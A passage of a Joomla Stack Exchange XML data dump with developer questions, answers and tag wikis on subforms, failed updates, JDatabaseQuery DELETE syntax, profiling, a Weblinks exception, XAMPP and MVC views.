/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the subform looks like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;  &amp;lt;field&#xA;    type=&quot;list&quot;&#xA;    name=&quot;type&quot;&#xA;    label=&quot;Block type&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;standard&quot;&amp;gt;Standard Block&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;twocol&quot;&amp;gt;Two column Block&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/field&amp;gt;&#xA;  &amp;lt;field&#xA;    type=&quot;editor&quot;&#xA;    name=&quot;leftcol&quot;&#xA;    label=&quot;Main Description&quot; /&amp;gt;&#xA;  &amp;lt;field&#xA;    type=&quot;editor&quot;&#xA;    name=&quot;rightcol&quot;&#xA;    label=&quot;Right column&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, the question i have: is it possible to execute javascript; when the user selects &quot;Standard page&quot; only the first editor is shown, if he selects Two columns, both are shown.&#xA;Note that this is only a simple example, there are other, much more complicated examples with 4-5 block-types (the client should have the possibility to manage more content-block-types dynamically, perhaps insert a gallery, then insert a two-column test, then a single block then.. you get the idea). And if all fields are shown for every block, every single subform block is huge in the backend...&lt;/p&gt;&#xA;" OwnerUserId="5783" LastEditorUserId="5783" LastEditDate="2019-06-13T08:26:59.217" LastActivityDate="2019-06-13T08:26:59.217" Title="Javascript in administration (modules / content-plugins)" Tags="|javascript|administration|" AnswerCount="0" CommentCount="5" ClosedDate="2019-07-02T09:12:17.267" ContentLicense="CC BY-SA 4.0" />
  <row Id="24733" PostTypeId="1" CreationDate="2019-05-27T09:46:27.687" Score="0" ViewCount="361" Body="&lt;p&gt;I tried to update my Joomla site (www.thecolourchangers.nl) to Joomla3.6.5 via the update button and the site has made a backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is: nothing is working anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have unpacked the /tmp folder from the FTP and uploaded the backup files to the FTP root, but that didn't fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I deleted the cache folder from FTP; still not fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a log file from the update. But nothing works anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody give some guidance?&lt;/p&gt;&#xA;" OwnerUserId="13565" LastEditorUserId="12352" LastEditDate="2019-05-27T11:05:18.087" LastActivityDate="2019-10-24T13:02:45.403" Title="Joomla update gone wrong" Tags="|joomla-3.x|update|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24734" PostTypeId="2" ParentId="24733" CreationDate="2019-05-27T10:07:06.063" Score="1" Body="&lt;p&gt;This is from a article I wrote for my website about how to get past the white screen of death and it should have enough details for you to get something meaningful displayed about your underlying problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your Joomla website is now a whitepage in the browser with no obvious reason as to why then read on to learn a couple of simple things you can do to point you in the right direction for getting your website back on line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most likely reason you are getting an empty white page where your website used to be is that an error has occurred and because you have Error Reporting set to not display(which is the best way to be from a  security point of view) in your configuration/global settings then Joomla will display the whitepage with no error message. The tips here will help show you have to change the configuration file manually so the error message is displayed and you will have a better idea what has happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First step is to get to your configuration.php via your hosting account so you can change the settings to display the error message that is being suppressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your website is down you can't change the settings via the Global Configuration so you need to have the Userid and Password for the account where your Joomla site is hosted. The most popular hosting service is probably cPanel, while Plesk or Webadmin is pretty common or for some of the bigger hosting companies they may have their own interfaces for managing your website hosting. Once you are logged in to your Hosting account you need to find your way to the File or Directory Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the file manager find your way to the root or base directory/folder of your website and look for the file configuration.php and open it for Edit. You may like to take a copy or back up of the file just in case, depending on how lucky you feel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll through the configuration.php file and look for the following lines with;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;public $error_reporting='none', and change that to $public error_reporting='maximum',&lt;/p&gt;&#xA;&#xA;&lt;p&gt;public $gzip='1', and change it to public $gzip='0', . This may not be required, but for my hosting accounts error reporting fails when gzip is active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also like to change the public $offline='0', to public $offine='1', to display a meaningful messge, public $offline_message = 'Back soon', while you work on your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can Save the configuration.php file and refresh your website page and the whitepage of death should now have a message describing what line of code has failed. You might be tempted to not change Error Reporting back to None, but that can put your website at risk from malicious activity who may deliberately cause an error to see your account name and file structure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once your website is up and running  you will have access to the Administrator Global Configuration settings you can change the above settings under the first tab and the Server tab.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-05-27T10:07:06.063" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24735" PostTypeId="1" CreationDate="2019-05-27T12:22:00.920" Score="-2" ViewCount="40" Body="&lt;p&gt;&lt;code&gt;$hasContent = empty($this-&amp;gt;item-&amp;gt;module) ||  isset($this-&amp;gt;item-&amp;gt;xml-&amp;gt;customContent);&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;line 23 in /administrator/components/com_modules/tmpl/module/edit.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13563" LastEditorUserId="12352" LastEditDate="2019-05-28T09:20:09.193" LastActivityDate="2019-05-28T09:20:09.193" Title="What does the line in the code below does?" Tags="|php|joomla-4.x|" AnswerCount="1" CommentCount="4" ClosedDate="2019-05-31T22:32:35.437" ContentLicense="CC BY-SA 4.0" />
  <row Id="24736" PostTypeId="2" ParentId="7249" CreationDate="2019-05-27T13:25:09.660" Score="0" Body="&lt;p&gt;Regarding your export script, I don't see any glaring security issues.  However, I don't see any authorization checks either.  It looks like you are just printing the json to screen.  Perhaps you'd like to include a feature to save the json to a forced-download file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might gain some inspiration from this module with functional similarities:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/24314/12352&quot;&gt;How to create a custom script to force the download of a .csv file that is generated in real time?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the importation, I have stronger concern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are checking that the filename ends with &lt;code&gt;.json&lt;/code&gt; or &lt;code&gt;.jSoN&lt;/code&gt; or &lt;code&gt;JSON&lt;/code&gt;, but you aren't actually sniffing to see if it is actually a .json file or actually contains json data.  For the record, I find this file extension extracting technique to be elegant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strtolower(pathinfo($filename, PATHINFO_EXTENSION))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But Joomla has some available techniques that will serve you very well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines#File_uploads&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Secure_coding_guidelines#File_uploads&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's something worth reading: &lt;a href=&quot;https://stackoverflow.com/q/6041741/2943403&quot;&gt;Fastest way to check if a string is JSON in PHP?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot of debate on that page, but if you are expecting iterable json-encoded data, you should probably try to decode it and check what results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if your project is expecting certain keys or values or key-value pairs in the incoming data, you should apply a whitelist check in your validation process.  If you know that the expected values never contain certain characters, apply that restriction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The importation step is the most dangerous process for your system.  Evil genius hackers salivate at the chance to manipulate such an access point.  You need to make the import security layer as hard as your &quot;good users&quot; can tolerate.  Deny people who are not logged in.  Use a token to prevent CSRF attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Validate and sanitize the data to within an inch of its life  ...because failing to do so can lead to loss of time, money, credibility, hair, sleep, etc.  Best of luck.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-05-27T13:25:09.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24737" PostTypeId="1" AcceptedAnswerId="24740" CreationDate="2019-05-27T16:23:27.563" Score="0" ViewCount="220" Body="&lt;p&gt;I have a query which I am trying to convert to JDatabaseQuery syntax, but I'm not able to find the correct way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE upt FROM #__mycomponent_user_posts AS upt WHERE upt.posts=0 AND upt.owner=0 AND upt.favorite=0 AND upt.subscribed=0 AND upt.params=''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With JDatabaseQuery, I'm only able to obtain the following query with nothing between DELETE and FROM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM #__mycomponent_user_posts AS upt WHERE upt.posts=0 AND upt.owner=0 AND upt.favorite=0 AND upt.subscribed=0 AND upt.params=''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to obtain the correct query with JDatabaseQuery?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="12352" LastEditDate="2019-05-28T08:48:04.537" LastActivityDate="2019-05-28T08:48:04.537" Title="How to write a DELETE query with WHERE conditions using JDatabaseQuery syntax?" Tags="|mysql|joomla-4|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24738" PostTypeId="2" ParentId="24735" CreationDate="2019-05-28T00:44:46.813" Score="1" Body="&lt;p&gt;Sets a value to $hascontent if either of the conditions on the right side is true. The conditions appear to be is the module empty or is customContent set, i.e. not null.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to find out what the value is that is set then use the following to display it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo print_r($hascontent);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo var_dump($hascontent);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-05-28T00:44:46.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24739" PostTypeId="2" ParentId="24684" CreationDate="2019-05-28T01:13:15.763" Score="0" Body="&lt;p&gt;TinyMCE settings can be configured at Extensions -&gt; Plugins -&gt; Editor - TinyMCE including enabling HTML elements which may not strictly conform to HTML4 or HTML5 standards by adding these to the &quot;Valid Elements&quot; or &quot;Extended Valid Elements&quot; fields (see below) although meta data is usually added to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; area rather than the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; area of an HTML page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p0Xwd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p0Xwd.png&quot; alt=&quot;TinyMCE Settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better solution might be to use &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; or similar to insert the appropriate PHP code into the content to add the declarations to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; area of the HTML page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://joomla.stackexchange.com/a/17816/120&quot;&gt;setMetaData&lt;/a&gt; and &lt;a href=&quot;https://joomla.stackexchange.com/a/16393/120&quot;&gt;addCustomTag&lt;/a&gt; for example PHP code.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-05-28T01:13:15.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24740" PostTypeId="2" ParentId="24737" CreationDate="2019-05-28T03:55:04.987" Score="1" Body="&lt;p&gt;A MySQL DELETE query doesn't have a column value between keywords DELETE and FROM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also no benefit to declaring a table alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;owner&lt;/code&gt; is a mysql keyword, but not a RESERVED keyword, so it doesn't need to be backtick-wrapped.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = Factory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;delete(&quot;#__mycomponent_user_posts&quot;)&#xA;                -&amp;gt;where([&quot;posts + owner + favorite + subscribed = 0&quot;,&#xA;                         &quot;params = ''&quot;]);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;    if (!$affrows = $db-&amp;gt;getAffectedRows()) {&#xA;        echo &quot;Possible Logic Error - No Qualifying Rows To Delete&quot;;&#xA;    }&#xA;    echo &quot;Success $affrows Deleted Rows&quot;;&#xA;} catch (Exception $e) {&#xA;    echo &quot;Syntax Error&quot;; // . &quot;Query: &quot; . $query-&amp;gt;dump() . &quot; &amp;amp; Error: &quot; . $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am actually taking the liberty to condense your where clause logic using simple mathematics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have built in some diagnostic checks for you.  If you want to see the generated query, echo &lt;code&gt;$query-&amp;gt;dump()&lt;/code&gt;. Be sure to never reveal raw mysql errors to the public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[I am not at home to test my snippet, let me know if I have any mistakes in it so that I can adjust.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mirror your original where clause logic...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;delete(&quot;#__mycomponent_user_posts&quot;)&#xA;            -&amp;gt;where([&quot;posts = 0&quot;,&#xA;                     &quot;owner = 0&quot;,&#xA;                     &quot;favorite = 0&quot;,&#xA;                     &quot;subscribed = 0&quot;,&#xA;                     &quot;params = ''&quot;]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-28T08:38:14.973" LastActivityDate="2019-05-28T08:38:14.973" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24741" PostTypeId="2" ParentId="24730" CreationDate="2019-05-28T08:25:55.203" Score="3" Body="&lt;p&gt;To show profiling information in Joomla, enable &lt;code&gt;Debug System&lt;/code&gt; option in Global Configuration, enable &lt;code&gt;System - Debug&lt;/code&gt; plugin and enable &lt;code&gt;Show Profiling&lt;/code&gt; option in plugin's configuration.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-28T08:25:55.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24742" PostTypeId="2" ParentId="15688" CreationDate="2019-05-28T11:38:21.293" Score="1" Body="&lt;p&gt;Your project only needs access to an array in json format.  I'm more in the option 1 camp.  Get your data once and never again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are worried about load on your database, there are work arounds for that. You could store a .json file of user handles -- completely ready to drop into your .js declaration.  You could update the .json file whenever a new registration is verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Stackexchange do it? They keep everything lean and quick by limiting who can be pinged on any given page.  By restricting the communication in this way, the whole user pool is not searched, just the active members (and special players) with in the scope of the conversation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for scrapers, if anyone wants to scrape all of the handles off your site, you are going to have a hard time stopping them.  Best not to even factor that aspect into your decision.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-05-28T11:38:21.293" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24743" PostTypeId="1" CreationDate="2019-05-28T14:54:53.160" Score="0" ViewCount="43" Body="&lt;p&gt;I am getting the following results from measuring the performance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Time: 104.01 ms / 104.01 ms Memory: 0.878 MB / 1.11 MB afterLoad&#xA;Time: 627.05 ms / 731.05 ms Memory: 4.563 MB / 5.67 MB afterInitialise&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what is behind the 627ms? This seems like ages to me.  Why does this take so long?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Time: 41.29 ms / 1466.08 ms Memory: 0.000 MB / 11.64 MB afterDispatch&#xA;Time: 561.62 ms / 2027.70 ms Memory: 7.045 MB / 18.69 MB beforeRenderModule mod_hd6_customcss (LP-ALL-CustomCSS)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why does this also takes so long to execute?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Time: 918.16 ms / 2949.28 ms Memory: 1.473 MB / 20.19 MB Before Access::getAssetRules (id:8 name:com_content)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea how to dig down the ages of waiting?&lt;/p&gt;&#xA;" OwnerUserId="13241" LastEditorUserId="12352" LastEditDate="2019-06-02T13:08:48.730" LastActivityDate="2019-06-02T13:08:48.730" Title="How to analyse one level deeper of the default profiling of Joomla?" Tags="|performance|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24745" PostTypeId="1" CreationDate="2019-05-29T15:43:00.593" Score="0" ViewCount="56" Body="&lt;p&gt;Suppose I want to edit the field (&quot;Home&quot;) of a module (say mod_breadcrumbs) from edit.php file of another module.I want to use the radio button inside another module instead of using here. Is this possible in joomla 4. Please refer the screenshot for the &quot;home&quot; field, I mentioned above.&lt;a href=&quot;https://i.stack.imgur.com/2qc26.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2qc26.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="13563" LastEditorUserId="13563" LastEditDate="2019-05-31T12:34:39.160" LastActivityDate="2019-10-28T14:03:10.420" Title="Editing a module from another component" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24746" PostTypeId="1" CreationDate="2019-05-29T18:34:25.730" Score="0" ViewCount="67" Body="&lt;p&gt;Admin Tools is notifying me of a PHP exception that occurs within the Weblinks component on Joomla 3.9.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have included the stack trace below for reference. The exception occurs infrequently (about once a week), and the affected weblinks are not being edited within the CMS when the exception occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server is running PHP 7.2.12 and Apache 2.2.34. Any ideas on why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Exception Type: InvalidArgumentException&#xA;File: /path/to/domain.ca/html/libraries/src/MVC/Controller/BaseController.php&#xA;Line: 291&#xA;Message: Invalid controller: name='2f', format=''&#xA;#0 /path/to/domain.ca/html/components/com_weblinks/weblinks.php(14): Joomla\CMS\MVC\Controller\BaseController::getInstance('Weblinks')&#xA;#1 /path/to/domain.ca/html/libraries/src/Component/ComponentHelper.php(402): require_once('/nfs/c09/h01/mn...')&#xA;#2 /path/to/domain.ca/html/libraries/src/Component/ComponentHelper.php(377): Joomla\CMS\Component\ComponentHelper::executeComponent('/nfs/c09/h01/mn...')&#xA;#3 /path/to/domain.ca/html/libraries/src/Application/SiteApplication.php(194): Joomla\CMS\Component\ComponentHelper::renderComponent('com_weblinks')&#xA;#4 /path/to/domain.ca/html/libraries/src/Application/SiteApplication.php(233): Joomla\CMS\Application\SiteApplication-&amp;gt;dispatch()&#xA;#5 /path/to/domain.ca/html/libraries/src/Application/CMSApplication.php(196): Joomla\CMS\Application\SiteApplication-&amp;gt;doExecute()&#xA;#6 /path/to/domain.ca/html/index.php(49): Joomla\CMS\Application\CMSApplication-&amp;gt;execute()&#xA;#7 {main}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="12352" LastEditDate="2019-05-30T08:19:25.250" LastActivityDate="2019-05-30T08:19:25.250" Title="com_weblinks Unhandled exception - InvalidArgumentException" Tags="|php|weblinks|joomla-3.9|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24747" PostTypeId="5" CreationDate="2019-05-30T10:09:31.683" Score="0" Body="&lt;p&gt;Best practices should be employed in all design and development endeavours.  In the industry of IT, there are often many ways to reach a satisfactory outcome. Determining the best course of action is not always black &amp;amp; white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of programming, some key subjects are often scrutinised in pursuit of &quot;best practices&quot;. The priority of these subjects will vary depending on what is most vital for a given task/project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A non-exhaustive list in no particular order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Accuracy&lt;/li&gt;&#xA;&lt;li&gt;Efficiency&lt;/li&gt;&#xA;&lt;li&gt;Consistency&lt;/li&gt;&#xA;&lt;li&gt;Stability&lt;/li&gt;&#xA;&lt;li&gt;Security&lt;/li&gt;&#xA;&lt;li&gt;Brevity&lt;/li&gt;&#xA;&lt;li&gt;Usability&lt;/li&gt;&#xA;&lt;li&gt;Readability&lt;/li&gt;&#xA;&lt;li&gt;Maintainability&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Joomla! has several online resources advising best practices:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Development_Best_Practices&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Development_Best_Practices&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/coding-standards/basic-guidelines.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/coding-standards/basic-guidelines.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Security&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-01T22:31:48.600" LastActivityDate="2019-06-01T22:31:48.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24748" PostTypeId="4" CreationDate="2019-05-30T10:09:31.683" Score="0" Body="This tag should only be used when a key objective in the question relates to any combination of: efficient processes, sustainable architecture, Joomla! Coding Standards, general web security, direct/purposeful actions, and other such foci where optimisation is valuable.  This tag is most appropriate when a basic solution is already realised, but refinement is sought." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-01T22:31:37.903" LastActivityDate="2019-06-01T22:31:37.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24749" PostTypeId="5" CreationDate="2019-05-30T10:20:22.130" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.apachefriends.org/en/xampp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;XAMPP&lt;/a&gt; is an Apache distribution containing MySQL, PHP, Perl, Mercury (&lt;em&gt;mail server&lt;/em&gt;), PHPMyAdmin and Tomcat. Its acronymous name also suggests this, as mentioned below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The philosophy behind XAMPP is to build an easy to install distribution for developers to get into the world of Apache and easy local web hosting on one's own computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XAMPP is a compilation of free software. It is compatible with Windows, Linux, Mac and Solaris. It's, also, free of charge and it's free to copy under the terms of the  GNU General Public License.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From version 1.7.4 Tomcat has been a part of the basic package and from version 1.7.2 Perl has been a part of the basic package. There are addon packages called &lt;strong&gt;&lt;a href=&quot;http://bitnami.com/stack/xampp&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitNami&lt;/a&gt;&lt;/strong&gt; for XAMPP that are able to install some popular applications, easily, into your working XAMPP packages such as Wordpress, Joomla, Drupal, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The name &quot;XAMPP&quot; is an abbreviation for: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;X&lt;/strong&gt; (cross) means cross-platform &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;A&lt;/strong&gt;pache&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;M&lt;/strong&gt;ySQL&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;P&lt;/strong&gt;HP&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;P&lt;/strong&gt;erl.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resources&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/xampp/files/&quot; rel=&quot;nofollow noreferrer&quot;&gt;List of older versions according to OS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.apachefriends.org/en/faq-xampp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;The official FAQ.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Latest version:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;5.6.36 / PHP 5.6.36&lt;br /&gt;&#xA;  7.0.30 / PHP 7.0.30&lt;br /&gt;&#xA;  7.1.17 / PHP 7.1.17&lt;br /&gt;&#xA;  7.2.5 / PHP 7.2.5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-01T22:31:54.820" LastActivityDate="2019-06-01T22:31:54.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24750" PostTypeId="4" CreationDate="2019-05-30T10:20:22.130" Score="0" Body="XAMPP is a cross-platform Apache distribution bundled with MySQL, PHP and Perl." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-01T22:31:41.373" LastActivityDate="2019-06-01T22:31:41.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24751" PostTypeId="5" CreationDate="2019-05-30T10:31:53.960" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;A View, in the context of a Model View Controller (MVC) architecture, is a software class that contains a template and data form and produces a response for the browser. It receives data from the Controller of the MVC and packages it and presents it to the browser for display.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The View is not very autonomous - it is like a black box where some data is thrown at it and it gives a display to the user in a browser friendly manner. It collects the input data from data sources, finds the template upon invocation, and combines them into HTML output at runtime.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://www.techopedia.com/definition/27453/view-mvc-aspnet&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.techopedia.com/definition/27453/view-mvc-aspnet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional Resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.tutorialspoint.com/mvc_framework/mvc_framework_views.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tutorialspoint.com/mvc_framework/mvc_framework_views.htm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/11064316/2943403&quot;&gt;https://stackoverflow.com/q/11064316/2943403&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-03T11:01:39.830" LastActivityDate="2019-06-03T11:01:39.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
